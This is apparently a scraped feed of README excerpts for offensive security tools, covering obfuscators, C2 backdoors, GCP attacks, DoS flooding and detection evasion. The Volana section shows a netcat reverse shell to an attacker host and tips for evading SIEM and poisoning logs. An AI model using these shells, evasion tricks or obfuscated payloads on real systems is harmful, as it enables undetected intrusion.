FreshRSS

πŸ”’
❌ Secure Planet Training Courses Updated For 2019 - Click Here
There are new available articles, click to refresh the page.
Before yesterdayKitPloit - PenTest Tools!

Secator - The Pentester'S Swiss Knife

By: Zion3R


secator is a task and workflow runner used for security assessments. It supports dozens of well-known security tools and it is designed to improve productivity for pentesters and security researchers.


Features

  • Curated list of commands

  • Unified input options

  • Unified output schema

  • CLI and library usage

  • Distributed options with Celery

  • Complexity from simple tasks to complex workflows

  • Customizable


Supported tools

secator integrates the following tools:

Name Description Category
httpx Fast HTTP prober. http
cariddi Fast crawler and endpoint secrets / api keys / tokens matcher. http/crawler
gau Offline URL crawler (Alien Vault, The Wayback Machine, Common Crawl, URLScan). http/crawler
gospider Fast web spider written in Go. http/crawler
katana Next-generation crawling and spidering framework. http/crawler
dirsearch Web path discovery. http/fuzzer
feroxbuster Simple, fast, recursive content discovery tool written in Rust. http/fuzzer
ffuf Fast web fuzzer written in Go. http/fuzzer
h8mail Email OSINT and breach hunting tool. osint
dnsx Fast and multi-purpose DNS toolkit designed for running DNS queries. recon/dns
dnsxbrute Fast and multi-purpose DNS toolkit designed for running DNS queries (bruteforce mode). recon/dns
subfinder Fast subdomain finder. recon/dns
fping Find alive hosts on local networks. recon/ip
mapcidr Expand CIDR ranges into IPs. recon/ip
naabu Fast port discovery tool. recon/port
maigret Hunt for user accounts across many websites. recon/user
gf A wrapper around grep to avoid typing common patterns. tagger
grype A vulnerability scanner for container images and filesystems. vuln/code
dalfox Powerful XSS scanning tool and parameter analyzer. vuln/http
msfconsole CLI to access and work with the Metasploit Framework. vuln/http
wpscan WordPress Security Scanner vuln/multi
nmap Vulnerability scanner using NSE scripts. vuln/multi
nuclei Fast and customisable vulnerability scanner based on simple YAML based DSL. vuln/multi
searchsploit Exploit searcher. exploit/search

Feel free to request new tools to be added by opening an issue, but please check that the tool complies with our selection criterias before doing so. If it doesn't but you still want to integrate it into secator, you can plug it in (see the dev guide).

Installation

Installing secator

Pipx
pipx install secator
Pip
pip install secator
Bash
wget -O - https://raw.githubusercontent.com/freelabz/secator/main/scripts/install.sh | sh
Docker
docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator --help
The volume mount -v is necessary to save all secator reports to your host machine, and--net=host is recommended to grant full access to the host network. You can alias this command to run it easier:
alias secator="docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator"
Now you can run secator like if it was installed on baremetal:
secator --help
Docker Compose
git clone https://github.com/freelabz/secator
cd secator
docker-compose up -d
docker-compose exec secator secator --help

Note: If you chose the Bash, Docker or Docker Compose installation methods, you can skip the next sections and go straight to Usage.

Installing languages

secator uses external tools, so you might need to install languages used by those tools assuming they are not already installed on your system.

We provide utilities to install required languages if you don't manage them externally:

Go
secator install langs go
Ruby
secator install langs ruby

Installing tools

secator does not install any of the external tools it supports by default.

We provide utilities to install or update each supported tool which should work on all systems supporting apt:

All tools
secator install tools
Specific tools
secator install tools <TOOL_NAME>
For instance, to install `httpx`, use:
secator install tools httpx

Please make sure you are using the latest available versions for each tool before you run secator or you might run into parsing / formatting issues.

Installing addons

secator comes installed with the minimum amount of dependencies.

There are several addons available for secator:

worker Add support for Celery workers (see [Distributed runs with Celery](https://docs.freelabz.com/in-depth/distributed-runs-with-celery)).
secator install addons worker
google Add support for Google Drive exporter (`-o gdrive`).
secator install addons google
mongodb Add support for MongoDB driver (`-driver mongodb`).
secator install addons mongodb
redis Add support for Redis backend (Celery).
secator install addons redis
dev Add development tools like `coverage` and `flake8` required for running tests.
secator install addons dev
trace Add tracing tools like `memray` and `pyinstrument` required for tracing functions.
secator install addons trace
build Add `hatch` for building and publishing the PyPI package.
secator install addons build

Install CVEs

secator makes remote API calls to https://cve.circl.lu/ to get in-depth information about the CVEs it encounters. We provide a subcommand to download all known CVEs locally so that future lookups are made from disk instead:

secator install cves

Checking installation health

To figure out which languages or tools are installed on your system (along with their version):

secator health

Usage

secator --help


Usage examples

Run a fuzzing task (ffuf):

secator x ffuf http://testphp.vulnweb.com/FUZZ

Run a url crawl workflow:

secator w url_crawl http://testphp.vulnweb.com

Run a host scan:

secator s host mydomain.com

and more... to list all tasks / workflows / scans that you can use:

secator x --help
secator w --help
secator s --help

Learn more

To go deeper with secator, check out: * Our complete documentation * Our getting started tutorial video * Our Medium post * Follow us on social media: @freelabz on Twitter and @FreeLabz on YouTube



Damn-Vulnerable-Drone - An Intentionally Vulnerable Drone Hacking Simulator Based On The Popular ArduPilot/MAVLink Architecture, Providing A Realistic Environment For Hands-On Drone Hacking

By: Zion3R


The Damn Vulnerable Drone is an intentionally vulnerable drone hacking simulator based on the popular ArduPilot/MAVLink architecture, providing a realistic environment for hands-on drone hacking.


    About the Damn Vulnerable Drone


    What is the Damn Vulnerable Drone?

    The Damn Vulnerable Drone is a virtually simulated environment designed for offensive security professionals to safely learn and practice drone hacking techniques. It simulates real-world ArduPilot & MAVLink drone architectures and vulnerabilities, offering a hands-on experience in exploiting drone systems.

    Why was it built?

    The Damn Vulnerable Drone aims to enhance offensive security skills within a controlled environment, making it an invaluable tool for intermediate-level security professionals, pentesters, and hacking enthusiasts.

    Similar to how pilots utilize flight simulators for training, we can use the Damn Vulnerable Drone simulator to gain in-depth knowledge of real-world drone systems, understand their vulnerabilities, and learn effective methods to exploit them.

    The Damn Vulnerable Drone platform is open-source and available at no cost and was specifically designed to address the substantial expenses often linked with drone hardware, hacking tools, and maintenance. Its cost-free nature allows users to immerse themselves in drone hacking without financial concerns. This accessibility makes the Damn Vulnerable Drone a crucial resource for those in the fields of information security and penetration testing, promoting the development of offensive cybersecurity skills in a safe environment.

    How does it work?

    The Damn Vulnerable Drone platform operates on the principle of Software-in-the-Loop (SITL), a simulation technique that allows users to run drone software as if it were executing on an actual drone, thereby replicating authentic drone behaviors and responses.

    ArduPilot's SITL allows for the execution of the drone's firmware within a virtual environment, mimicking the behavior of a real drone without the need for physical hardware. This simulation is further enhanced with Gazebo, a dynamic 3D robotics simulator, which provides a realistic environment and physics engine for the drone to interact with. Together, ArduPilot's SITL and Gazebo lay the foundation for a sophisticated and authentic drone simulation experience.

    While the current Damn Vulnerable Drone setup doesn't mirror every drone architecture or configuration, the integrated tactics, techniques and scenarios are broadly applicable across various drone systems, models and communication protocols.

    Features

    • Docker-based Environment: Runs in a completely virtualized docker-based setup, making it accessible and safe for drone hacking experimentation.
    • Simulated Wireless Networking: Simulated Wifi (802.11) interfaces to practice wireless drone attacks.
    • Onboard Camera Streaming & Gimbal: Simulated RTSP drone onboard camera stream with gimbal and companion computer integration.
    • Companion Computer Web Interface: Companion Computer configuration management via web interface and simulated serial connection to Flight Controller.
    • QGroundControl/MAVProxy Integration: One-click QGroundControl UI launching (only supported on x86 architecture) with MAVProxy GCS integration.
    • MAVLink Router Integration: Telemetry forwarding via MAVLink Router on the Companion Computer Web Interface.
    • Dynamic Flight Logging: Fully dynamic Ardupilot flight bin logs stored on a simulated SD Card.
    • Management Web Console: Simple to use simulator management web console used to trigger scenarios and drone flight states.
    • Comprehensive Hacking Scenarios: Ideal for practicing a wide range of drone hacking techniques, from basic reconnaissance to advanced exploitation.
    • Detailed Walkthroughs: If you need help hacking against a particular scenario you can leverage the detailed walkthrough documentation as a spoiler.


    Psobf - PowerShell Obfuscator

    By: Zion3R


    Tool for obfuscating PowerShell scripts written in Go. The main objective of this program is to obfuscate PowerShell code to make its analysis and detection more difficult. The script offers 5 levels of obfuscation, from basic obfuscation to script fragmentation. This allows users to tailor the obfuscation level to their specific needs.


    ./psobf -h

    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
    β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β•β•
    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
    β–ˆβ–ˆβ•”β•β•β•β• β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•
    β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘
    β•šβ•β• β•šβ•β•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•
    @TaurusOmar
    v.1.0

    Usage: ./obfuscator -i <inputFile> -o <outputFile> -level <1|2|3|4|5>
    Options:
    -i string
    Name of the PowerShell script file.
    -level int
    Obfuscation level (1 to 5). (default 1)
    -o string
    Name of the output file for the obfuscated script. (default "obfuscated.ps1")

    Obfuscation levels:
    1: Basic obfuscation by splitting the script into individual characters.
    2: Base64 encoding of the script.
    3: Alternative Base64 encoding with a different PowerShell decoding method.
    4: Compression and Base64 encoding of the script will be decoded and decompressed at runtime.
    5: Fragmentation of the script into multiple parts and reconstruction at runtime.

    Features:

    • Obfuscation Levels: Four levels of obfuscation, each more complex than the previous one.
      • Level 1 obfuscation by splitting the script into individual characters.
      • Level 2 Base64 encoding of the script.
      • Level 3 Alternative Base64 encoding with a different PowerShell decoding method.
      • Level 4 Compression and Base64 encoding of the script will be decoded and decompressed at runtime.
      • Level 5 Fragmentation of the script into multiple parts and reconstruction at runtime.
    • Compression and Encoding: Level 4 includes script compression before encoding it in base64.
    • Variable Obfuscation: A function was added to obfuscate the names of variables in the PowerShell script.
    • Random String Generation: Random strings are generated for variable name obfuscation.

    Install

    go install github.com/TaurusOmar/psobf@latest

    Example of Obfuscation Levels

    The obfuscation levels are divided into 5 options. First, you need to have a PowerShell file that you want to obfuscate. Let's assume you have a file named script.ps1 with the following content:

    Write-Host "Hello, World!"

    Level 1: Basic Obfuscation

    Run the script with level 1 obfuscation.

    ./obfuscator -i script.ps1 -o obfuscated_level1.ps1 -level 1

    This will generate a file named obfuscated_level1.ps1 with the obfuscated content. The result will be a version of your script where each character is separated by commas and combined at runtime.
    Result (level 1)

    $obfuscated = $([char[]]("`W`,`r`,`i`,`t`,`e`,`-`,`H`,`o`,`s`,`t`,` `,`"`,`H`,`e`,`l`,`l`,`o`,`,` `,`W`,`o`,`r`,`l`,`d`,`!`,`"`") -join ''); Invoke-Expression $obfuscated

    Level 2: Base64 Encoding

    Run the script with level 2 obfuscation:

    ./obfuscator -i script.ps1 -o obfuscated_level2.ps1 -level 2

    This will generate a file named obfuscated_level2.ps1 with the content encoded in base64. When executing this script, it will be decoded and run at runtime.
    Result (level 2)

    $obfuscated = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI=')); Invoke-Expression $obfuscated

    Level 3: Alternative Base64 Encoding

    Execute the script with level 3 obfuscation:

    ./obfuscator -i script.ps1 -o obfuscated_level3.ps1 -level 3

    This level uses a slightly different form of base64 encoding and decoding in PowerShell, adding an additional layer of obfuscation.
    Result (level 3)

    $e = [System.Convert]::FromBase64String('V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI='); $obfuscated = [System.Text.Encoding]::UTF8.GetString($e); Invoke-Expression $obfuscated

    Level 4: Compression and Base64 Encoding

    Execute the script with level 4 obfuscation:

    ./obfuscator -i script.ps1 -o obfuscated_level4.ps1 -level 4

    This level compresses the script before encoding it in base64, making analysis more complicated. The result will be decoded and decompressed at runtime.
    Result (level 4)

    $compressed = 'H4sIAAAAAAAAC+NIzcnJVyjPL8pJUQQAlRmFGwwAAAA='; $bytes = [System.Convert]::FromBase64String($compressed); $stream = New-Object IO.MemoryStream(, $bytes); $decompressed = New-Object IO.Compression.GzipStream($stream, [IO.Compression.CompressionMode]::Decompress); $reader = New-Object IO.StreamReader($decompressed); $obfuscated = $reader.ReadToEnd(); Invoke-Expression $obfuscated

    Level 5: Script Fragmentation

    Run the script with level 5 obfuscation:

    ./obfuscator -i script.ps1 -o obfuscated_level5.ps1 -level 5

    This level fragments the script into multiple parts and reconstructs it at runtime.
    Result (level 5)

    $fragments = @(
    'Write-',
    'Output "',
    'Hello,',
    ' Wo',
    'rld!',
    '"'
    );
    $script = $fragments -join '';
    Invoke-Expression $script

    This program is provided for educational and research purposes. It should not be used for malicious activities.



    Volana - Shell Command Obfuscation To Avoid Detection Systems

    By: Zion3R


    Shell command obfuscation to avoid SIEM/detection system

    During pentest, an important aspect is to be stealth. For this reason you should clear your tracks after your passage. Nevertheless, many infrastructures log command and send them to a SIEM in a real time making the afterwards cleaning part alone useless.

    volana provide a simple way to hide commands executed on compromised machine by providing it self shell runtime (enter your command, volana executes for you). Like this you clear your tracks DURING your passage


    Usage

    You need to get an interactive shell. (Find a way to spawn it, you are a hacker, it's your job ! otherwise). Then download it on target machine and launch it. that's it, now you can type the command you want to be stealthy executed

    ## Download it from github release
    ## If you do not have internet access from compromised machine, find another way
    curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana

    ## Execute it
    ./volana

    ## You are now under the radar
    volana Β» echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 #you are allowed to be a bit cocky
    volana Β» [command]

    Keyword for volana console: * ring: enable ring mode ie each command is launched with plenty others to cover tracks (from solution that monitor system call) * exit: exit volana console

    from non interactive shell

    Imagine you have a non interactive shell (webshell or blind rce), you could use encrypt and decrypt subcommand. Previously, you need to build volana with embedded encryption key.

    On attacker machine

    ## Build volana with encryption key
    make build.volana-with-encryption

    ## Transfer it on TARGET (the unique detectable command)
    ## [...]

    ## Encrypt the command you want to stealthy execute
    ## (Here a nc bindshell to obtain a interactive shell)
    volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
    >>> ENCRYPTED COMMAND

    Copy encrypted command and executed it with your rce on target machine

    ./volana decr [encrypted_command]
    ## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)

    Why not just hide command with echo [command] | base64 ? And decode on target with echo [encoded_command] | base64 -d | bash

    Because we want to be protected against systems that trigger alert for base64 use or that seek base64 text in command. Also we want to make investigation difficult and base64 isn't a real brake.

    Detection

    Keep in mind that volana is not a miracle that will make you totally invisible. Its aim is to make intrusion detection and investigation harder.

    By detected we mean if we are able to trigger an alert if a certain command has been executed.

    Hide from

    Only the volana launching command line will be catched. 🧠 However, by adding a space before executing it, the default bash behavior is to not save it

    • Detection systems that are based on history command output
    • Detection systems that are based on history files
    • .bash_history, ".zsh_history" etc ..
    • Detection systems that are based on bash debug traps
    • Detection systems that are based on sudo built-in logging system
    • Detection systems tracing all processes syscall system-wide (eg opensnoop)
    • Terminal (tty) recorder (script, screen -L, sexonthebash, ovh-ttyrec, etc..)
    • Easy to detect & avoid: pkill -9 script
    • Not a common case
    • screen is a bit more difficult to avoid, however it does not register input (secret input: stty -echo => avoid)
    • Command detection Could be avoid with volana with encryption

    Visible for

    • Detection systems that have alert for unknown command (volana one)
    • Detection systems that are based on keylogger
    • Easy to avoid: copy/past commands
    • Not a common case
    • Detection systems that are based on syslog files (e.g. /var/log/auth.log)
    • Only for sudo or su commands
    • syslog file could be modified and thus be poisoned as you wish (e.g for /var/log/auth.log:logger -p auth.info "No hacker is poisoning your syslog solution, don't worry")
    • Detection systems that are based on syscall (eg auditd,LKML/eBPF)
    • Difficult to analyze, could be make unreadable by making several diversion syscalls
    • Custom LD_PRELOAD injection to make log
    • Not a common case at all

    Bug bounty

    Sorry for the clickbait title, but no money will be provided for contibutors. πŸ›

    Let me know if you have found: * a way to detect volana * a way to spy console that don't detect volana commands * a way to avoid a detection system

    Report here

    Credit



    C2-Cloud - The C2 Cloud Is A Robust Web-Based C2 Framework, Designed To Simplify The Life Of Penetration Testers

    By: Zion3R


    The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly interface.

    C2 Cloud is open source. Security analysts can confidently perform simulations, gaining valuable experience and contributing to the proactive defense posture of their organizations.

    Reverse shells support:

    1. Reverse TCP
    2. Reverse HTTP
    3. Reverse HTTPS (configure it behind an LB)
    4. Telegram C2

    Demo

    C2 Cloud walkthrough: https://youtu.be/hrHT_RDcGj8
    Ransomware simulation using C2 Cloud: https://youtu.be/LKaCDmLAyvM
    Telegram C2: https://youtu.be/WLQtF4hbCKk

    Key Features

    πŸ”’ Anywhere Access: Reach the C2 Cloud from any location.
    πŸ”„ Multiple Backdoor Sessions: Manage and support multiple sessions effortlessly.
    πŸ–±οΈ One-Click Backdoor Access: Seamlessly navigate to backdoors with a simple click.
    πŸ“œ Session History Maintenance: Track and retain complete command and response history for comprehensive analysis.

    Tech Stack

    πŸ› οΈ Flask: Serving web and API traffic, facilitating reverse HTTP(s) requests.
    πŸ”— TCP Socket: Serving reverse TCP requests for enhanced functionality.
    🌐 Nginx: Effortlessly routing traffic between web and backend systems.
    πŸ“¨ Redis PubSub: Serving as a robust message broker for seamless communication.
    πŸš€ Websockets: Delivering real-time updates to browser clients for enhanced user experience.
    πŸ’Ύ Postgres DB: Ensuring persistent storage for seamless continuity.

    Architecture

    Application setup

    • Management port: 9000
    • Reversse HTTP port: 8000
    • Reverse TCP port: 8888

    • Clone the repo

    • Optional: Update chait_id, bot_token in c2-telegram/config.yml
    • Execute docker-compose up -d to start the containers Note: The c2-api service will not start up until the database is initialized. If you receive 500 errors, please try after some time.

    Credits

    Inspired by Villain, a CLI-based C2 developed by Panagiotis Chartas.

    License

    Distributed under the MIT License. See LICENSE for more information.

    Contact



    WEB-Wordlist-Generator - Creates Related Wordlists After Scanning Your Web Applications

    By: Zion3R


    WEB-Wordlist-Generator scans your web applications and creates related wordlists to take preliminary countermeasures against cyber attacks.


    Done
    • [x] Scan Static Files.
    • [ ] Scan Metadata Of Public Documents (pdf,doc,xls,ppt,docx,pptx,xlsx etc.)
    • [ ] Create a New Associated Wordlist with the Wordlist Given as a Parameter.

    Installation

    From Git
    git clone https://github.com/OsmanKandemir/web-wordlist-generator.git
    cd web-wordlist-generator && pip3 install -r requirements.txt
    python3 generator.py -d target-web.com

    From Dockerfile

    You can run this application on a container after build a Dockerfile.

    docker build -t webwordlistgenerator .
    docker run webwordlistgenerator -d target-web.com -o

    From DockerHub

    You can run this application on a container after pulling from DockerHub.

    docker pull osmankandemir/webwordlistgenerator:v1.0
    docker run osmankandemir/webwordlistgenerator:v1.0 -d target-web.com -o

    Usage
    -d DOMAINS [DOMAINS], --domains DOMAINS [DOMAINS] Input Multi or Single Targets. --domains target-web1.com target-web2.com
    -p PROXY, --proxy PROXY Use HTTP proxy. --proxy 0.0.0.0:8080
    -a AGENT, --agent AGENT Use agent. --agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
    -o PRINT, --print PRINT Use Print outputs on terminal screen.



    GATOR - GCP Attack Toolkit For Offensive Research, A Tool Designed To Aid In Research And Exploiting Google Cloud Environments

    By: Zion3R


    GATOR - GCP Attack Toolkit for Offensive Research, a tool designed to aid in research and exploiting Google Cloud Environments. It offers a comprehensive range of modules tailored to support users in various attack stages, spanning from Reconnaissance to Impact.


    Modules

    Resource Category Primary Module Command Group Operation Description
    User Authentication auth - activate Activate a Specific Authentication Method
    - add Add a New Authentication Method
    - delete Remove a Specific Authentication Method
    - list List All Available Authentication Methods
    Cloud Functions functions - list List All Deployed Cloud Functions
    - permissions Display Permissions for a Specific Cloud Function
    - triggers List All Triggers for a Specific Cloud Function
    Cloud Storage storage buckets list List All Storage Buckets
    permissions Display Permissions for Storage Buckets
    Compute Engine compute instances add-ssh-key Add SSH Key to Compute Instances

    Installation

    Python 3.11 or newer should be installed. You can verify your Python version with the following command:

    python --version

    Manual Installation via setup.py

    git clone https://github.com/anrbn/GATOR.git
    cd GATOR
    python setup.py install

    Automated Installation via pip

    pip install gator-red

    Documentation

    Have a look at the GATOR Documentation for an explained guide on using GATOR and it's module!

    Issues

    Reporting an Issue

    If you encounter any problems with this tool, I encourage you to let me know. Here are the steps to report an issue:

    1. Check Existing Issues: Before reporting a new issue, please check the existing issues in this repository. Your issue might have already been reported and possibly even resolved.

    2. Create a New Issue: If your problem hasn't been reported, please create a new issue in the GitHub repository. Click the Issues tab and then click New Issue.

    3. Describe the Issue: When creating a new issue, please provide as much information as possible. Include a clear and descriptive title, explain the problem in detail, and provide steps to reproduce the issue if possible. Including the version of the tool you're using and your operating system can also be helpful.

    4. Submit the Issue: After you've filled out all the necessary information, click Submit new issue.

    Your feedback is important, and will help improve the tool. I appreciate your contribution!

    Resolving an Issue

    I'll be reviewing reported issues on a regular basis and try to reproduce the issue based on your description and will communicate with you for further information if necessary. Once I understand the issue, I'll work on a fix.

    Please note that resolving an issue may take some time depending on its complexity. I appreciate your patience and understanding.

    Contributing

    I warmly welcome and appreciate contributions from the community! If you're interested in contributing on any existing or new modules, feel free to submit a pull request (PR) with any new/existing modules or features you'd like to add.

    Once you've submitted a PR, I'll review it as soon as I can. I might request some changes or improvements before merging your PR. Your contributions play a crucial role in making the tool better, and I'm excited to see what you'll bring to the project!

    Thank you for considering contributing to the project.

    Questions and Issues

    If you have any questions regarding the tool or any of its modules, please check out the documentation first. I've tried to provide clear, comprehensive information related to all of its modules. If however your query is not yet solved or you have a different question altogether please don't hesitate to reach out to me via Twitter or LinkedIn. I'm always happy to help and provide support. :)



    DoSinator - A Powerful Denial Of Service (DoS) Testing Tool

    By: Zion3R


    DoSinator is a versatile Denial of Service (DoS) testing tool developed in Python. It empowers security professionals and researchers to simulate various types of DoS attacks, allowing them to assess the resilience of networks, systems, and applications against potential cyber threats.Β 


    Features

    • Multiple Attack Modes: DoSinator supports SYN Flood, UDP Flood, and ICMP Flood attack modes, allowing you to simulate various types of DoS attacks.
    • Customizable Parameters: Adjust the packet size, attack rate, and duration to fine-tune the intensity and duration of the attack.
    • IP Spoofing: Enable IP spoofing to mask the source IP address and enhance anonymity during the attack.
    • Multithreaded Packet Sending: Utilize multiple threads for simultaneous packet sending, maximizing the attack speed and efficiency.

    Requirements

    • Python 3.x
    • scapy
    • argparse

    Installation

    1. Clone the repository:

      git clone https://github.com/HalilDeniz/DoSinator.git
    2. Navigate to the project directory:

      cd DoSinator
    3. Install the required dependencies:

      pip install -r requirements.txt

    Usage

    packets to send (default: 500). -ps PACKET_SIZE, --packet_size PACKET_SIZE Packet size in bytes (default: 64). -ar ATTACK_RATE, --attack_rate ATTACK_RATE Attack rate in packets per second (default: 10). -d DURATION, --duration DURATION Duration of the attack in seconds. -am {syn,udp,icmp,http,dns}, --attack-mode {syn,udp,icmp,http,dns} Attack mode (default: syn). -sp SPOOF_IP, --spoof-ip SPOOF_IP Spoof IP address. --data DATA Custom data string to send." dir="auto">
    usage: dos_tool.py [-h] -t TARGET -p PORT [-np NUM_PACKETS] [-ps PACKET_SIZE]
    [-ar ATTACK_RATE] [-d DURATION] [-am {syn,udp,icmp,http,dns}]
    [-sp SPOOF_IP] [--data DATA]

    optional arguments:
    -h, --help Show this help message and exit.
    -t TARGET, --target TARGET
    Target IP address.
    -p PORT, --port PORT Target port number.
    -np NUM_PACKETS, --num_packets NUM_PACKETS
    Number of packets to send (default: 500).
    -ps PACKET_SIZE, --packet_size PACKET_SIZE
    Packet size in bytes (default: 64).
    -ar ATTACK_RATE, --attack_rate ATTACK_RATE
    Attack rate in packets per second (default: 10).
    -d DURATION, --duration DURATION
    Duration of the attack in seconds.
    -am {syn,udp,icmp,htt p,dns}, --attack-mode {syn,udp,icmp,http,dns}
    Attack mode (default: syn).
    -sp SPOOF_IP, --spoof-ip SPOOF_IP
    Spoof IP address.
    --data DATA Custom data string to send.
    • target_ip: IP address of the target system.
    • target_port: Port number of the target service.
    • num_packets: Number of packets to send (default: 500).
    • packet_size: Size of each packet in bytes (default: 64).
    • attack_rate: Attack rate in packets/second (default: 10).
    • duration: Duration of the attack in seconds.
    • attack_mode: Attack mode: syn, udp, icmp, http (default: syn).
    • spoof_ip: Spoof IP address (default: None).
    • data: Custom data string to send.

    Disclaimer

    The usage of the Dosinator tool for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. The author assumes no liability and is not responsible for any misuse or damage caused by this program.

    By using Dosinator, you agree to use this tool for educational and ethical purposes only. The author is not responsible for any actions or consequences resulting from misuse of this tool.

    Please ensure that you have the necessary permissions to conduct any form of testing on a target network. Use this tool at your own risk.

    Contributing

    Contributions are welcome! If you find any issues or have suggestions for improvements, feel free to open an issue or submit a pull request.

    Contact

    If you have any questions, comments, or suggestions about Dosinator, please feel free to contact me:



    Bashfuscator - A Fully Configurable And Extendable Bash Obfuscation Framework

    By: Zion3R

    Documentation

    What is Bashfuscator?

    Bashfuscator is a modular and extendable Bash obfuscation framework written in Python 3. It provides numerous different ways of making Bash one-liners or scripts much more difficult to understand. It accomplishes this by generating convoluted, randomized Bash code that at runtime evaluates to the original input and executes it. Bashfuscator makes generating highly obfuscated Bash commands and scripts easy, both from the command line and as a Python library.

    The purpose of this project is to give Red Team the ability to bypass static detections on a Linux system, and the knowledge and tools to write better Bash obfuscation techniques.

    This framework was also developed with Blue Team in mind. With this framework, Blue Team can easily generate thousands of unique obfuscated scripts or commands to help create and test detections of Bash obfuscation.


    Media/slides

    This is a list of all the media (i.e. youtube videos) or links to slides about Bashfuscator.

    Payload support

    Though Bashfuscator does work on UNIX systems, many of the payloads it generates will not. This is because most UNIX systems use BSD style utilities, and Bashfuscator was built to work with GNU style utilities. In the future BSD payload support may be added, but for now payloads generated with Bashfuscator should work on GNU Linux systems with Bash 4.0 or newer.

    Installation & Requirements

    Bashfuscator requires Python 3.6+.

    On a Debian-based distro, run this command to install dependencies:

    sudo apt-get update && sudo apt-get install python3 python3-pip python3-argcomplete xclip

    On a RHEL-based distro, run this command to install dependencies:

    sudo dnf update && sudo dnf install python3 python3-pip python3-argcomplete xclip

    Then, run these commands to clone and install Bashfuscator:

    git clone https://github.com/Bashfuscator/Bashfuscator
    cd Bashfuscator
    python3 setup.py install --user

    Only Debian and RHEL based distros are supported. Bashfuscator has been tested working on some UNIX systems, but is not supported on those systems.

    Example Usage

    For simple usage, just pass the command you want to obfuscate with -c, or the script you want to obfuscate with -f.

    $ bashfuscator -c "cat /etc/passwd"
    [+] Mutators used: Token/ForCode -> Command/Reverse
    [+] Payload:

    ${@/l+Jau/+<b=k } p''"r"i""n$'t\u0066' %s "$( ${*%%Frf\[4?T2 } ${*##0\!j.G } "r"'e'v <<< ' "} ~@{$" ") } j@C`\7=-k#*{$ "} ,@{$" ; } ; } ,,*{$ "}] } ,*{$ "} f9deh`\>6/J-F{\,vy//@{$" niOrw$ } QhwV#@{$ [NMpHySZ{$" s% "f"'"'"'4700u\n9600u\r'"'"'$p { ; } ~*{$ "} 48T`\PJc}\#@{$" 1#31 "} ,@{$" } D$y?U%%*{$ 0#84 *$ } Lv:sjb/@{$ 2#05 } ~@{$ 2#4 }*!{$ } OGdx7=um/X@RA{\eA/*{$ 1001#2 } Scnw:i/@{$ } ~~*{$ 11#4 "} O#uG{\HB%@{$" 11#7 "} ^^@{$" 011#2 "} ~~@{$" 11#3 } L[\h3m/@{$ "} ~@{$" 11#2 } 6u1N.b!\b%%*{$ } YCMI##@{$ 31#5 "} ,@{$" 01#7 } (\}\;]\//*{$ } %#6j/?pg%m/*{$ 001#2 "} 6IW]\p*n%@{$" } ^^@{$ 21#7 } !\=jy#@{$ } tz}\k{\v1/?o:Sn@V/*{$ 11#5 ni niOrw rof ; "} ,,@{$" } MD`\!\]\P%%*{$ ) }@{$ a } ogt=y%*{$ "@$" /\ } {\nZ2^##*{$ \ *$ c }@{$ } h;|Yeen{\/.8oAl-RY//@{$ p *$ "}@{$" t } zB(\R//*{$ } mX=XAFz_/9QKu//*{$ e *$ s } ~~*{$ d } ,*{$ } 2tgh%X-/L=a_r#f{\//*{$ w } {\L8h=@*##@{$ "} W9Zw##@{$" (=NMpHySZ ($" la'"'"''"'"'"v"'"'"''"'"''"'"'541\'"'"'$ } &;@0#*{$ ' "${@}" "${@%%Ij\[N }" ${@~~ } )" ${!*} | $@ $'b\u0061'''sh ${*//J7\{=.QH }

    [+] Payload size: 1232 characters

    You can copy the obfuscated payload to your clipboard with --clip, or write it to a file with -o.

    For more advanced usage, use the --choose-mutators flag, and specify exactly what obfuscation modules, or Mutators, you want to use in what order. Use also the -s argument to control the level of obfuscation used.

    bashfuscator -c "cat /etc/passwd" --choose-mutators token/special_char_only compress/bzip2 string/file_glob -s 1
    [+] Payload:

